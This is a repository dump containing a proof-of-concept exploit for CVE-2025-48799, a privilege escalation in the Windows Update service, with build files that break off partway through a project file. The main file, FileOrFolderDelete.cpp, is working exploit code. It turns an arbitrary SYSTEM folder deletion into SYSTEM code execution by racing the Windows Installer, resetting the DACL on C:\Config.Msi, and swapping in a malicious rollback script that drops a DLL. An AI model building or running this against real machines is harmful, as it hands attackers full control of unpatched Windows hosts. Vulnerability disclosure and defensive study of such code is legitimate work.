Full Code of Wh04m1001/CVE-2025-48799 for AI

main 4b75496aa87c cached
15 files
48.7 KB
13.6k tokens
49 symbols
1 requests
Download .txt
Repository: Wh04m1001/CVE-2025-48799
Branch: main
Commit: 4b75496aa87c
Files: 15
Total size: 48.7 KB

Directory structure:
gitextract_z5e9hszm/

├── README.md
└── WinUpdateEoP/
    ├── 5eeabb3.rbs
    ├── FileOplock.cpp
    ├── FileOplock.h
    ├── FileOrFolderDelete.cpp
    ├── Msi_EoP.msi
    ├── WinUpdateEoP.sln
    ├── WinUpdateEoP.vcxproj
    ├── WinUpdateEoP.vcxproj.filters
    ├── WinUpdateEoP.vcxproj.user
    ├── def.h
    ├── main.cpp
    ├── resource.aps
    ├── resource.h
    └── resource.rc

================================================
FILE CONTENTS
================================================

================================================
FILE: README.md
================================================
# Description
This is PoC for CVE-2025-48799, an elevation of privilege vulnerability in Windows Update service.

This vulnability affects windows clients (win11/win10) with at least 2 hard drives. When machine have multiple hard drives it is possible to change location where new content is saved using the Storage Sense. If location for new applications is changed to secondary drive, during the installation of new application the wuauserv service will perform arbitrary folder deletion without checking for symbolic links (if file is encountered the service will check final path using GetFinalPathByHandle) which leads to LPE.

This PoC utilise method (and some code) descibed in ZDI blog post: https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks

## PoC


https://github.com/user-attachments/assets/5e8b2a59-b787-4ba7-a6dc-1c71a9b3ba12



================================================
FILE: WinUpdateEoP/FileOplock.cpp
================================================

#include "FileOpLock.h"
#include <threadpoolapiset.h>



FileOpLock::FileOpLock(UserCallback cb) :
	g_inputBuffer({ 0 }), g_outputBuffer({ 0 }), g_o({ 0 }), g_hFile(INVALID_HANDLE_VALUE), g_hLockCompleted(nullptr), g_wait(nullptr), _cb(cb)
{
	g_inputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
	g_inputBuffer.StructureLength = sizeof(g_inputBuffer);
	g_inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE;
	g_inputBuffer.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST;
	g_outputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
	g_outputBuffer.StructureLength = sizeof(g_outputBuffer);
}


FileOpLock::~FileOpLock()
{
	if (g_wait)
	{
		SetThreadpoolWait(g_wait, nullptr, nullptr);
		CloseThreadpoolWait(g_wait);
		g_wait = nullptr;
	}

	if (g_o.hEvent)
	{
		CloseHandle(g_o.hEvent);
		g_o.hEvent = nullptr;
	}

	if (g_hFile != INVALID_HANDLE_VALUE)
	{
		CloseHandle(g_hFile);
		g_hFile = INVALID_HANDLE_VALUE;
	}
}
bool FileOpLock::BeginLock(const std::wstring& filename,bool exclusive)
{
	g_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr);
	g_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr);



	g_hFile = CreateFileW(filename.c_str(), GENERIC_READ, FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE,
		0, OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_FLAG_BACKUP_SEMANTICS, 0);
	if (g_hFile == INVALID_HANDLE_VALUE) {

		return false;
	}

	g_wait = CreateThreadpoolWait(WaitCallback, this, nullptr);
	if (g_wait == nullptr)
	{

		return false;
	}

	SetThreadpoolWait(g_wait, g_o.hEvent, nullptr);

	DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK,
		&g_inputBuffer, sizeof(g_inputBuffer),
		&g_outputBuffer, sizeof(g_outputBuffer),
		nullptr, &g_o);
	if (GetLastError() != ERROR_IO_PENDING) {

		return false;
	}

	return true;
}
bool FileOpLock::BeginLock(HANDLE hfile,bool exclusive)
{
	g_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr);
	g_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr);



	g_hFile = hfile;
	if (g_hFile == INVALID_HANDLE_VALUE) {

		return false;
	}

	g_wait = CreateThreadpoolWait(WaitCallback, this, nullptr);
	if (g_wait == nullptr)
	{

		return false;
	}

	SetThreadpoolWait(g_wait, g_o.hEvent, nullptr);
	DWORD bytesReturned;

	if (exclusive)
	{
		DeviceIoControl(g_hFile,
			FSCTL_REQUEST_OPLOCK_LEVEL_1,
			NULL, 0,
			NULL, 0,
			&bytesReturned,
			&g_o);
	}
	else
	{
		DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK,
			&g_inputBuffer, sizeof(g_inputBuffer),
			&g_outputBuffer, sizeof(g_outputBuffer),
			nullptr, &g_o);
	}
	
	
	if (GetLastError() != ERROR_IO_PENDING) {

		return false;
	}

	return true;
}
FileOpLock* FileOpLock::CreateLock(const std::wstring& name, FileOpLock::UserCallback cb,bool exclusive)
{
	FileOpLock* ret = new FileOpLock(cb);

	if (ret->BeginLock(name,exclusive))
	{
		return ret;
	}
	else
	{
		delete ret;
		return nullptr;
	}
}
FileOpLock* FileOpLock::CreateLock(HANDLE hfile, FileOpLock::UserCallback cb, bool exclusive)
{
	FileOpLock* ret = new FileOpLock(cb);

	if (ret->BeginLock(hfile,exclusive))
	{
		return ret;
	}
	else
	{
		delete ret;
		return nullptr;
	}
}
void FileOpLock::WaitForLock(UINT Timeout)
{
	WaitForSingleObject(g_hLockCompleted, Timeout);
}

void FileOpLock::WaitCallback(PTP_CALLBACK_INSTANCE Instance,
	PVOID Parameter, PTP_WAIT Wait,
	TP_WAIT_RESULT WaitResult)
{
	UNREFERENCED_PARAMETER(Instance);
	UNREFERENCED_PARAMETER(Wait);
	UNREFERENCED_PARAMETER(WaitResult);

	FileOpLock* lock = reinterpret_cast<FileOpLock*>(Parameter);

	lock->DoWaitCallback();
}
void FileOpLock::WaitCallback2(PTP_CALLBACK_INSTANCE Instance,
	PVOID Parameter, PTP_WAIT Wait,
	TP_WAIT_RESULT WaitResult)
{
	UNREFERENCED_PARAMETER(Instance);
	UNREFERENCED_PARAMETER(Wait);
	UNREFERENCED_PARAMETER(WaitResult);

	FileOpLock* lock = reinterpret_cast<FileOpLock*>(Parameter);

	lock->DoWaitCallbackt();
}
void FileOpLock::DoWaitCallbackt()
{
	DWORD dwBytes;
	if (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) {

	}

	if (_cb)
	{
		_cb();
	}
	g_hFile = INVALID_HANDLE_VALUE;
	SetEvent(g_hLockCompleted);
}
void FileOpLock::DoWaitCallback()
{
	DWORD dwBytes;
	if (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) {

	}

	if (_cb)
	{
		_cb();
	}


	CloseHandle(g_hFile);
	g_hFile = INVALID_HANDLE_VALUE;
	SetEvent(g_hLockCompleted);
}

================================================
FILE: WinUpdateEoP/FileOplock.h
================================================
#pragma once

#include <Windows.h>
#include <string>

class FileOpLock
{
public:
	typedef void(*UserCallback)();
	static FileOpLock* CreateLock(HANDLE hfile, FileOpLock::UserCallback cb,bool exclusive);
	static FileOpLock* CreateLock(const std::wstring& name, FileOpLock::UserCallback cb,bool exclusive);
	void WaitForLock(UINT Timeout);

	~FileOpLock();
private:

	HANDLE g_hFile;
	OVERLAPPED g_o;
	REQUEST_OPLOCK_INPUT_BUFFER g_inputBuffer;
	REQUEST_OPLOCK_OUTPUT_BUFFER g_outputBuffer;
	HANDLE g_hLockCompleted;
	PTP_WAIT g_wait;
	UserCallback _cb;

	FileOpLock(UserCallback cb);

	static void CALLBACK WaitCallback(PTP_CALLBACK_INSTANCE Instance,
		PVOID Parameter, PTP_WAIT Wait,
		TP_WAIT_RESULT WaitResult);
	static void CALLBACK WaitCallback2(PTP_CALLBACK_INSTANCE Instance,
		PVOID Parameter, PTP_WAIT Wait,
		TP_WAIT_RESULT WaitResult);
	void DoWaitCallback();
	void DoWaitCallbackt();
	bool BeginLock(HANDLE hfile,bool exclusive);
	bool BeginLock(const std::wstring& name,bool exclusive);

};



================================================
FILE: WinUpdateEoP/FileOrFolderDelete.cpp
================================================
// Exploit code to turn an arbitrary file/folder delete as SYSTEM into a SYSTEM EoP.
// Based on a technique by Abdelhamid Naceri (halov).

#include <Windows.h>
#include <Shlwapi.h>
#include <Msi.h>
#include <PathCch.h>
#include <shellapi.h>
#include <iostream>
#include "resource.h"
#include <vector>
#include <string>
#pragma comment(lib, "Msi.lib")
#pragma comment(lib, "Shlwapi.lib")
#pragma comment(lib, "PathCch.lib")
using namespace std;

const wchar_t pathOfDllDrop[] = L"C:\\Program Files\\Common Files\\microsoft shared\\ink\\HID.DLL";

bool stage2FilesystemChangeDetected;

class Resources
{
public:
	static Resources& instance()
	{
		static Resources singleton;
		return singleton;
	};
	const std::vector<BYTE>& msi() { return m_msi; };
	const std::vector<BYTE>& fakeRbs() { return m_fakeRbs; };
	const std::vector<BYTE>& fakeRbf() { return m_fakeRbf; };
private:
	Resources()
	{
		m_hModule = GetModuleHandle(NULL);
		initFromResource(m_msi, MAKEINTRESOURCE(IDR_MSI1), L"msi");
		initFromResource(m_fakeRbs, MAKEINTRESOURCE(IDR_RBS1), L"rbs");
		initFromResource(m_fakeRbf, MAKEINTRESOURCE(IDR_RBF1), L"rbf");
	};
	void initFromResource(std::vector<BYTE>& vec, LPCWSTR lpResourceName, LPCWSTR lpResourceType)
	{
		HRSRC hRsrc = FindResource(m_hModule, lpResourceName, lpResourceType);
		DWORD resSize = SizeofResource(m_hModule, hRsrc);
		vec.reserve(resSize);
		HGLOBAL hRes = LoadResource(m_hModule, hRsrc);
		BYTE* resData = (BYTE*)LockResource(hRes);
		vec.assign(resData, resData + resSize);

	};
	HMODULE m_hModule;
	std::vector<BYTE> m_msi;
	std::vector<BYTE> m_fakeRbs;
	std::vector<BYTE> m_fakeRbf;
};


bool bitnessCheck()
{
	auto fakeRbf = Resources::instance().fakeRbf().data();
	int dllBitness =
		*(unsigned __int16*)(fakeRbf + *(__int32*)(fakeRbf + 0x3c) + 4)
		== 0x8664 ? 64 : 32;

	SYSTEM_INFO systemInfo;
	GetNativeSystemInfo(&systemInfo);
	int systemBitness = systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ? 64 : 32;

	return dllBitness == systemBitness;
}

std::wstring uniqueString()
{
	UUID u;
	UuidCreate(&u);

	RPC_WSTR su;
	UuidToString(&u, &su);

	std::wstring result((PCWSTR)su);

	RpcStringFree(&su);

	return result;
}

std::wstring createUniqueTempFolder()
{
	WCHAR tempFolder[MAX_PATH + 1];
	GetEnvironmentVariable(L"TEMP", tempFolder, _countof(tempFolder));

	WCHAR result[MAX_PATH + 1];
	PathCchCombine(result, _countof(result), tempFolder, uniqueString().c_str());

	CreateDirectory(result, NULL);

	return result;
}

class TempMsi
{
public:
	TempMsi()
	{
		auto msi = Resources::instance().msi();
		tempMsiPath = L"C:\\Windows\\Temp\\" + uniqueString();
		HANDLE hMsi = CreateFile(
			tempMsiPath.c_str(),
			GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
			0, NULL);
		DWORD dwNumberOfBytesWritten;
		WriteFile(hMsi, msi.data(), msi.size(), &dwNumberOfBytesWritten, NULL);
		CloseHandle(hMsi);
	}
	TempMsi(TempMsi&) = delete;
	TempMsi& operator =(TempMsi&) = delete;
	~TempMsi()
	{
		DeleteFile(tempMsiPath.c_str());
	}
	std::wstring GetTempMsiPath() { return tempMsiPath; }
private:
	std::wstring tempMsiPath;
};

bool get_configMsiExists()
{
	return GetFileAttributes(L"C:\\Config.Msi") != INVALID_FILE_ATTRIBUTES;
}

bool get_configMsiIsRegistered()
{
	bool configMsiRegistered = false;
	HKEY hkeyInstallerFolders;
	if (RegOpenKeyEx(
		HKEY_LOCAL_MACHINE,
		L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\Folders",
		0,
		KEY_QUERY_VALUE,
		&hkeyInstallerFolders) == ERROR_SUCCESS)
	{
		if (
			RegQueryValueEx(hkeyInstallerFolders, L"C:\\Config.Msi\\", NULL, NULL, NULL, NULL)
			== ERROR_SUCCESS
			||
			RegQueryValueEx(hkeyInstallerFolders, L"C:\\Config.Msi", NULL, NULL, NULL, NULL)
			== ERROR_SUCCESS)
		{
			configMsiRegistered = true;
		}
		RegCloseKey(hkeyInstallerFolders);
	}

	return configMsiRegistered;
}

bool tryDeleteConfigMsi()
{
	SHFILEOPSTRUCT fileOp;
	fileOp.hwnd = NULL;
	fileOp.wFunc = FO_DELETE;
	fileOp.pFrom = L"C:\\Config.Msi\0";
	fileOp.pTo = NULL;
	fileOp.fFlags = FOF_NO_UI;

	if (SHFileOperation(&fileOp) == 0
		&& !fileOp.fAnyOperationsAborted)
	{
		return true;
	}
	else
	{
		return false;
	}
}

void spinUntilConfigMsiDeleted()
{
	while (GetFileAttributes(L"C:\\Config.Msi") != INVALID_FILE_ATTRIBUTES)
	{
		Sleep(200);
	}
}

void install(const std::wstring& installPath) {
	TempMsi tempMsi;
	MsiSetInternalUI(INSTALLUILEVEL_NONE, NULL);
	MsiInstallProduct(
		tempMsi.GetTempMsiPath().c_str(),
		(L"ACTION=INSTALL TARGETDIR=" + installPath).c_str());
}

void installWithRollback(const std::wstring& installPath) {
	CreateDirectory(installPath.c_str(), NULL);
	TempMsi tempMsi;
	MsiSetInternalUI(INSTALLUILEVEL_NONE, NULL);
	MsiInstallProduct(
		tempMsi.GetTempMsiPath().c_str(),
		(L"ACTION=INSTALL ERROROUT=1 TARGETDIR=" + installPath).c_str());
}

void uninstall() {
	TempMsi tempMsi;
	MsiSetInternalUI(INSTALLUILEVEL_NONE, NULL);
	MsiInstallProduct(
		tempMsi.GetTempMsiPath().c_str(),
		L"REMOVE=ALL");
}

DWORD WINAPI thread_uninstall(PVOID)
{
	uninstall();
	return 0;
}

DWORD WINAPI thread_installWithRollback(PVOID installPath)
{
	// Loop until we verify that stage2() is monitoring filesystem changes
	do
	{
		HANDLE hFileToBeDetected = CreateFile(
			(L"C:\\Config.Msi\\" + uniqueString()).c_str(),
			GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_FLAG_DELETE_ON_CLOSE, NULL);
		CloseHandle(hFileToBeDetected);
		Sleep(100);
	} while (!stage2FilesystemChangeDetected);

	installWithRollback((const wchar_t*)installPath);
	return 0;
}

void stage1()
{
	printf("[*] Stage 1 starting.\n");
	// Start with an uninstall, just in case Msi_EoP is already in an installed state
	uninstall();

	// Install Msi_EoP
	auto installPath = createUniqueTempFolder();
	install(installPath.c_str());

	// Get a handle to the installed file dummy.txt
	auto dummyFilePath = installPath + L"\\dummy.txt";
	HANDLE hFileDummy = CreateFile(
		dummyFilePath.c_str(),
		FILE_READ_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING,
		0, NULL);
	if (!hFileDummy)
	{
		std::wcout << L"[-] " << std::wstring(dummyFilePath) << L" didn't install, exiting" << std::endl;
		exit(1);
	}

	// Create events for synchronization with the uninstall process.
	// The uninstall process will move dummy.txt to an .rbf file within C:\Config.Msi.
	// After this occurs, a custom action in the uninstaller will set event FolderOrFileDeleteToSystem_RbfFullyWritten,
	// and wait for event FolderOrFileDeleteToSystem_ReadyForAttemptedDelete before proceeding.
	HANDLE hEvent_RbfFullyWritten = CreateEvent(NULL, FALSE, FALSE, L"FolderOrFileDeleteToSystem_RbfFullyWritten");
	ResetEvent(hEvent_RbfFullyWritten);
	HANDLE hEvent_ReadyForAttemptedDelete = CreateEvent(NULL, FALSE, FALSE, L"FolderOrFileDeleteToSystem_ReadyForAttemptedDelete");
	ResetEvent(hEvent_ReadyForAttemptedDelete);

	// Start the uninstall, to execute in parallel with this thread
	HANDLE hUninstallThread = CreateThread(NULL, NULL, thread_uninstall, NULL, NULL, NULL);

	// Poll the file name referenced by handle hFileDummy. Once the uninstaller has moved dummy.txt,
	// the reported filename will change, and we will learn the name of the .rbf file within C:\Config.Msi.
	WCHAR updatedFilePath[MAX_PATH + 1];
	for (;;)
	{
		DWORD len = GetFinalPathNameByHandle(
			hFileDummy,
			updatedFilePath,
			_countof(updatedFilePath),
			FILE_NAME_NORMALIZED | VOLUME_NAME_DOS);
		const WCHAR configMsiPrefix[] = L"\\\\?\\C:\\Config.Msi\\";
		constexpr size_t configMsiPrefixLen = _countof(configMsiPrefix) - 1;
		if (len >= configMsiPrefixLen && !_wcsnicmp(updatedFilePath, configMsiPrefix, configMsiPrefixLen))
		{
			break;
		}
		Sleep(100);
	}
	CloseHandle(hFileDummy);

	// Wait for the uninstaller to finish most operations on the .rbf
	if (WaitForSingleObject(hEvent_RbfFullyWritten, INFINITE) == 30000)
	{
		std::cout << "[-] FAILED: Timeout waiting for uninstall to set event FolderOrFileDeleteToSystem_RbfFullyWritten." << std::endl;
		SetEvent(hEvent_ReadyForAttemptedDelete);
		exit(1);
	}
	// At this time, the uninstaller is paused, waiting for event FolderOrFileDeleteToSystem_ReadyForAttemptedDelete

	// Open a new handle to the .rbf, preventing deletion of the .rbf (and, consequently, the C:\Config.Msi folder),
	// by causing a sharing violation (no FILE_SHARE_DELETE allowed). We are allowed to open this handle, because
	// the .rbf file is just the original dummy.txt file moved to a new location.
	HANDLE hFileRbf = CreateFile(
		&updatedFilePath[4],
		GENERIC_READ | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING,
		0, NULL);

	// Allow the uninstaller to run to completion
	SetEvent(hEvent_ReadyForAttemptedDelete);
	CloseHandle(hEvent_RbfFullyWritten);
	CloseHandle(hEvent_ReadyForAttemptedDelete);
	if (WaitForSingleObject(hUninstallThread, 120000) == WAIT_TIMEOUT)
	{
		std::cout << "[-] FAILED: Timeout waiting for uninstall to complete." << std::endl;
		exit(1);
	}

	// Finally, delete the .rbf, so that C:\Config.Msi will be left as an empty folder,
	// in preparation for triggering the aribitrary folder/file delete.
	FILE_DISPOSITION_INFO fdi;
	fdi.DeleteFileW = TRUE;
	SetFileInformationByHandle(hFileRbf, FileDispositionInfo, &fdi, sizeof(fdi));
	CloseHandle(hFileRbf);
	printf("[+] Stage one completed.\n");
}

void stage2()
{
	// Create a SECURITY_ATTRIBUTES structure with a NULL DACL
	printf("[*] Stage 2 starting.\n");
	HMODULE ntdll = GetModuleHandle(L"ntdll.dll");
	auto NtSetSecurityObject = (NTSTATUS(WINAPI*)(
		HANDLE               Handle,
		SECURITY_INFORMATION SecurityInformation,
		PSECURITY_DESCRIPTOR SecurityDescriptor
		))GetProcAddress(ntdll, "NtSetSecurityObject");

	SECURITY_DESCRIPTOR sd;
	InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);
	SetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE);

	SECURITY_ATTRIBUTES sa;
	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa.lpSecurityDescriptor = &sd;
	sa.bInheritHandle = FALSE;

	// Create C:\Config.Msi with a NULL DACL and obtain a handle
	CreateDirectory(L"C:\\Config.Msi", &sa);
	HANDLE hConfigMsi = CreateFile(
		L"C:\\Config.Msi",
		GENERIC_READ | READ_CONTROL | WRITE_DAC | FILE_DELETE_CHILD,
		FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
		NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);

	// Create a buffer for directory change notifications
	const size_t fileNotifyBufferLen = 0x100000;
	BYTE* fileNotifyBuffer = (BYTE*)malloc(fileNotifyBufferLen);

	// Create events for synchronization with the install process.
	// During installation, the install process will create a .rbs (rollback script) file within C:\Config.Msi.
	// After this occurs, a custom action in the installer will set event FolderOrFileDeleteToSystem_RbsFullyWritten.
	// Then, it will wait for event FolderOrFileDeleteToSystem_ReadyForRollback before rolling back.
	HANDLE hEvent_RbsFullyWritten = CreateEvent(NULL, FALSE, FALSE, L"FolderOrFileDeleteToSystem_RbsFullyWritten");
	ResetEvent(hEvent_RbsFullyWritten);
	HANDLE hEvent_ReadyForRollback = CreateEvent(NULL, FALSE, FALSE, L"FolderOrFileDeleteToSystem_ReadyForRollback");
	ResetEvent(hEvent_ReadyForRollback);

	// This global flag will allow thread_installWithRollback to know that this thread has begun
	// monitoring file system changes.
	stage2FilesystemChangeDetected = false;

	// Start an install that will error out and roll back, running in parallel with this thread.
	auto installPath = createUniqueTempFolder();
	HANDLE hInstallThread = CreateThread(NULL, NULL, thread_installWithRollback, (PVOID)installPath.c_str(), NULL, NULL);

	// Watch for filesystem changes within C:\Config.Msi to find the filename of the new .rbs file
	std::wstring rbsFileName;
	do {
		DWORD dwBytesReturned;
		if (!ReadDirectoryChangesW(
			hConfigMsi,
			fileNotifyBuffer,
			fileNotifyBufferLen,
			FALSE,
			FILE_NOTIFY_CHANGE_FILE_NAME,
			&dwBytesReturned, NULL, NULL))
		{
			std::wcout << L"[-] FAILED: Failed to detect creation of an .rbs file." << std::endl;
			exit(1);
		}
		stage2FilesystemChangeDetected = true;
		BYTE* fileNotifyInfoBytePtr = fileNotifyBuffer;
		for (;;)
		{
			FILE_NOTIFY_INFORMATION* fileNotifyInfo = (FILE_NOTIFY_INFORMATION*)fileNotifyInfoBytePtr;
			if (fileNotifyInfo->Action == FILE_ACTION_ADDED &&
				fileNotifyInfo->FileNameLength / 2 >= 4 &&
				!_wcsnicmp(
					&fileNotifyInfo->FileName[fileNotifyInfo->FileNameLength / 2 - 4],
					L".rbs",
					4))
			{
				rbsFileName = L"C:\\Config.Msi\\";
				rbsFileName.append(fileNotifyInfo->FileName, fileNotifyInfo->FileNameLength / 2);
				break;
			}
			else if (!fileNotifyInfo->NextEntryOffset)
			{
				break;
			}
			else
			{
				fileNotifyInfoBytePtr += fileNotifyInfo->NextEntryOffset;
			}
		}
	} while (!rbsFileName.length());

	// Wait for the installer to finish writing the .rbs file
	if (WaitForSingleObject(hEvent_RbsFullyWritten, 120000) == WAIT_TIMEOUT)
	{
		std::cout << "[-] FAILED: Timeout waiting for FolderOrFileDeleteToSystem_RbsFullyWritten event." << std::endl;
		exit(1);
	}
	// At this point, the installer is paused, waiting for FolderOrFileDeleteToSystem_ReadyForRollback

	// Reapply the NULL DACL to C:\Config.Msi, becuase by now the installer has set its own DACL.
	// Note, we're able to do this because when we originally opened the handle hConfigMsi, we
	// requested the WRITE_DAC permission, and we were granted it then because at that time
	// C:\Config.Msi still had a permissive DACL.
	NtSetSecurityObject(hConfigMsi, DACL_SECURITY_INFORMATION, &sd);

	// Delete the legitimate .rbs
	if (!DeleteFile(rbsFileName.c_str()))
	{
		std::cout << "[-] Failed to delete .rbs file. Error: 0x"
			<< std::hex << GetLastError() << std::dec << std::endl;
		exit(1);
	}

	// Drop a malicious .rbs that references a malicious .rbf
	HANDLE hRbs = CreateFile(
		rbsFileName.c_str(),
		GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS,
		0, NULL);
	auto fakeRbs = Resources::instance().fakeRbs();
	DWORD dwNumberOfBytesWritten;
	WriteFile(hRbs, fakeRbs.data(), fakeRbs.size(), &dwNumberOfBytesWritten, NULL);
	CloseHandle(hRbs);

	

	// Allow rollback to continue, consuming the malicious .rbs and .rbf
	SetEvent(hEvent_ReadyForRollback);
	CloseHandle(hEvent_RbsFullyWritten);
	CloseHandle(hEvent_ReadyForRollback);
	CloseHandle(hConfigMsi);
	printf("[+] Stage 2 completed.\n");
	
}

void usage()
{
	std::cerr << "Usage:" << std::endl;
	std::cerr << "\tFolderOrFileDeleteToSystem.exe [/stage1only]" << std::endl;
	std::cerr << std::endl;
	std::cerr << "This exploit demonstrates how an arbitrary file or folder delete vuln as SYSTEM or admin" << std::endl;
	std::cerr << "can be used to gain local privilege escalation to SYSTEM." << std::endl;
	std::cerr << std::endl;
	std::cerr << "The exploit proceeds in two stages. Stage 1 performs the needed preparation before triggering the delete." << std::endl;
	std::cerr << "You will be prompted to trigger the delete at the appropriate time. At that point, you can terminate this" << std::endl;
	std::cerr << "exploit and resume it after the delete if preferred. This is useful if, for example, the delete vuln" << std::endl;
	std::cerr << "requires a system restart. Afterwards, run this exploit again. No special flags are needed. It will" << std::endl;
	std::cerr << "automatically detect the system state and resume with stage 2." << std::endl;
	std::cerr << std::endl;
	std::cerr << "Stage 2 of the exploit is performed after the arbitrary file/folder delete, and achieves SYSTEM LPE." << std::endl;

}



================================================
FILE: WinUpdateEoP/WinUpdateEoP.sln
================================================

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.13.35828.75 d17.13
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "WinUpdateEoP", "WinUpdateEoP.vcxproj", "{677448A4-0C19-42C4-94E3-D4C89F264F26}"
EndProject
Global
	GlobalSection(SolutionConfigurationPlatforms) = preSolution
		Debug|x64 = Debug|x64
		Debug|x86 = Debug|x86
		Release|x64 = Release|x64
		Release|x86 = Release|x86
	EndGlobalSection
	GlobalSection(ProjectConfigurationPlatforms) = postSolution
		{677448A4-0C19-42C4-94E3-D4C89F264F26}.Debug|x64.ActiveCfg = Debug|x64
		{677448A4-0C19-42C4-94E3-D4C89F264F26}.Debug|x64.Build.0 = Debug|x64
		{677448A4-0C19-42C4-94E3-D4C89F264F26}.Debug|x86.ActiveCfg = Debug|Win32
		{677448A4-0C19-42C4-94E3-D4C89F264F26}.Debug|x86.Build.0 = Debug|Win32
		{677448A4-0C19-42C4-94E3-D4C89F264F26}.Release|x64.ActiveCfg = Release|x64
		{677448A4-0C19-42C4-94E3-D4C89F264F26}.Release|x64.Build.0 = Release|x64
		{677448A4-0C19-42C4-94E3-D4C89F264F26}.Release|x86.ActiveCfg = Release|Win32
		{677448A4-0C19-42C4-94E3-D4C89F264F26}.Release|x86.Build.0 = Release|Win32
	EndGlobalSection
	GlobalSection(SolutionProperties) = preSolution
		HideSolutionNode = FALSE
	EndGlobalSection
	GlobalSection(ExtensibilityGlobals) = postSolution
		SolutionGuid = {92150D9D-E91E-469C-AA3E-81302F8D8D55}
	EndGlobalSection
EndGlobal


================================================
FILE: WinUpdateEoP/WinUpdateEoP.vcxproj
================================================
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <ItemGroup Label="ProjectConfigurations">
    <ProjectConfiguration Include="Debug|Win32">
      <Configuration>Debug</Configuration>
      <Platform>Win32</Platform>
    </ProjectConfiguration>
    <ProjectConfiguration Include="Release|Win32">
      <Configuration>Release</Configuration>
      <Platform>Win32</Platform>
    </ProjectConfiguration>
    <ProjectConfiguration Include="Debug|x64">
      <Configuration>Debug</Configuration>
      <Platform>x64</Platform>
    </ProjectConfiguration>
    <ProjectConfiguration Include="Release|x64">
      <Configuration>Release</Configuration>
      <Platform>x64</Platform>
    </ProjectConfiguration>
  </ItemGroup>
  <PropertyGroup Label="Globals">
    <VCProjectVersion>17.0</VCProjectVersion>
    <Keyword>Win32Proj</Keyword>
    <ProjectGuid>{677448a4-0c19-42c4-94e3-d4c89f264f26}</ProjectGuid>
    <RootNamespace>WinUpdateEoP</RootNamespace>
    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
  </PropertyGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
    <ConfigurationType>Application</ConfigurationType>
    <UseDebugLibraries>true</UseDebugLibraries>
    <PlatformToolset>v143</PlatformToolset>
    <CharacterSet>Unicode</CharacterSet>
  </PropertyGroup>
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
    <ConfigurationType>Application</ConfigurationType>
    <UseDebugLibraries>false</UseDebugLibraries>
    <PlatformToolset>v143</PlatformToolset>
    <WholeProgramOptimization>true</WholeProgramOptimization>
    <CharacterSet>Unicode</CharacterSet>
  </PropertyGroup>
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
    <ConfigurationType>Application</ConfigurationType>
    <UseDebugLibraries>true</UseDebugLibraries>
    <PlatformToolset>v143</PlatformToolset>
    <CharacterSet>Unicode</CharacterSet>
  </PropertyGroup>
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
    <ConfigurationType>Application</ConfigurationType>
    <UseDebugLibraries>false</UseDebugLibraries>
    <PlatformToolset>v143</PlatformToolset>
    <WholeProgramOptimization>true</WholeProgramOptimization>
    <CharacterSet>Unicode</CharacterSet>
  </PropertyGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
  <ImportGroup Label="ExtensionSettings">
  </ImportGroup>
  <ImportGroup Label="Shared">
  </ImportGroup>
  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
  </ImportGroup>
  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
  </ImportGroup>
  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
